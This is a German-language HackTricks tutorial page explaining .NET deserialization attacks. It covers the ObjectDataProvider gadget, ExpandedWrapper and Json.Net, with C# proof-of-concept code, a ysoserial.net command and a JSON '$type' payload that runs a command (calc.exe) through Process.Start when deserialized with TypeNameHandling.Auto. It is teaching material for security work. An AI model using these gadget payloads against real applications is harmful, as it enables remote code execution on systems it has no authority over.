11 KiB
Grundlegende .Net-Deserialisierung (ObjectDataProvider-Gadget, ExpandedWrapper und Json.Net)
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Treten Sie der 💬 Discord-Gruppe oder der Telegramm-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks-Repository und das hacktricks-cloud-Repository senden.
Dieser Beitrag ist dem Verständnis der Ausnutzung des Gadget ObjectDataProvider gewidmet, um RCE zu erlangen, und wie die Serialisierungsbibliotheken Json.Net und xmlSerializer mit diesem Gadget missbraucht werden können.
ObjectDataProvider-Gadget
Gemäß der Dokumentation: Die Klasse ObjectDataProvider umschließt und erstellt ein Objekt, das Sie als Bindungsquelle verwenden können.
Ja, das ist eine seltsame Erklärung, also schauen wir uns an, was diese Klasse so interessant macht: Diese Klasse ermöglicht es, ein beliebiges Objekt zu umschließen, MethodParameters zu verwenden, um beliebige Parameter festzulegen, und dann MethodName zu verwenden, um eine beliebige Funktion des beliebigen Objekts aufzurufen, die unter Verwendung der beliebigen Parameter deklariert wurde.
Daher wird das beliebige Objekt eine Funktion mit Parametern ausführen, während es deserialisiert wird.
Wie ist das möglich
Der System.Windows.Data-Namespace, der in der PresentationFramework.dll unter C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
gefunden wird, ist der Ort, an dem ObjectDataProvider definiert und implementiert ist.
Mit dnSpy können Sie den Code der interessierenden Klasse inspizieren. Im folgenden Bild sehen wir den Code von PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name
Wie Sie sehen können, wird beim Setzen von MethodName
base.Refresh()
aufgerufen. Schauen wir uns an, was es tut:
Ok, schauen wir uns an, was this.BeginQuery()
tut. BeginQuery
wird von ObjectDataProvider
überschrieben und das ist, was es tut:
Beachten Sie, dass am Ende des Codes this.QueryWorke(null)
aufgerufen wird. Schauen wir uns an, was das ausführt:
Beachten Sie, dass dies nicht der vollständige Code der Funktion QueryWorker
ist, aber es zeigt den interessanten Teil davon: Der Code ruft this.InvokeMethodOnInstance(out ex);
auf, dies ist die Zeile, in der die gesetzte Methode aufgerufen wird.
Wenn Sie überprüfen möchten, dass das Setzen des MethodName dazu führt, dass es ausgeführt wird, können Sie diesen Code ausführen:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Beachten Sie, dass Sie als Referenz C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll hinzufügen müssen, um System.Windows.Data
zu laden.
ExpandedWrapper
Bei der Verwendung des zuvor genannten Exploits gibt es Fälle, in denen das Objekt als ObjectDataProvider-Instanz deserialisiert wird (zum Beispiel bei der DotNetNuke-Schwachstelle, bei der das Objekt unter Verwendung von GetType
deserialisiert wurde). Dann haben wir keine Kenntnis über den Objekttyp, der in der ObjectDataProvider-Instanz (zum Beispiel Process
) eingewickelt ist. Weitere Informationen zur DotNetNuke-Schwachstelle finden Sie hier.
Diese Klasse ermöglicht es, die Objekttypen der in einer bestimmten Instanz eingeschlossenen Objekte anzugeben. Diese Klasse kann also verwendet werden, um ein Quellobjekt (ObjectDataProvider) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften (ObjectDataProvider.MethodName und ObjectDataProvider.MethodParameters) bereitzustellen.
Dies ist sehr nützlich für Fälle wie den zuvor vorgestellten, da wir in der Lage sein werden, den ObjectDataProvider in eine Instanz von ExpandedWrapper einzuschließen und beim Deserialisieren dieser Klasse das ObjectDataProvider-Objekt zu erzeugen, das die in MethodName angegebene Funktion ausführt.
Sie können diesen Wrapper mit dem folgenden Code überprüfen:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Auf der offiziellen Webseite wird angegeben, dass diese Bibliothek es ermöglicht, beliebige .NET-Objekte mit dem leistungsstarken JSON-Serializer von Json.NET zu serialisieren und zu deserialisieren. Wenn wir also den ObjectDataProvider-Gadget deserialisieren könnten, könnten wir durch das Deserialisieren eines Objekts eine RCE verursachen.
Beispiel Json.Net
Zunächst einmal schauen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek serialisiert/deserialisiert:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Ausnutzung von Json.Net
Mit ysoserial.net habe ich den Exploit erstellt:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
In diesem Code können Sie den Exploit testen, führen Sie ihn einfach aus und Sie werden sehen, dass ein Taschenrechner ausgeführt wird:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs.
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise.
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und das hacktricks-cloud repo einreichen.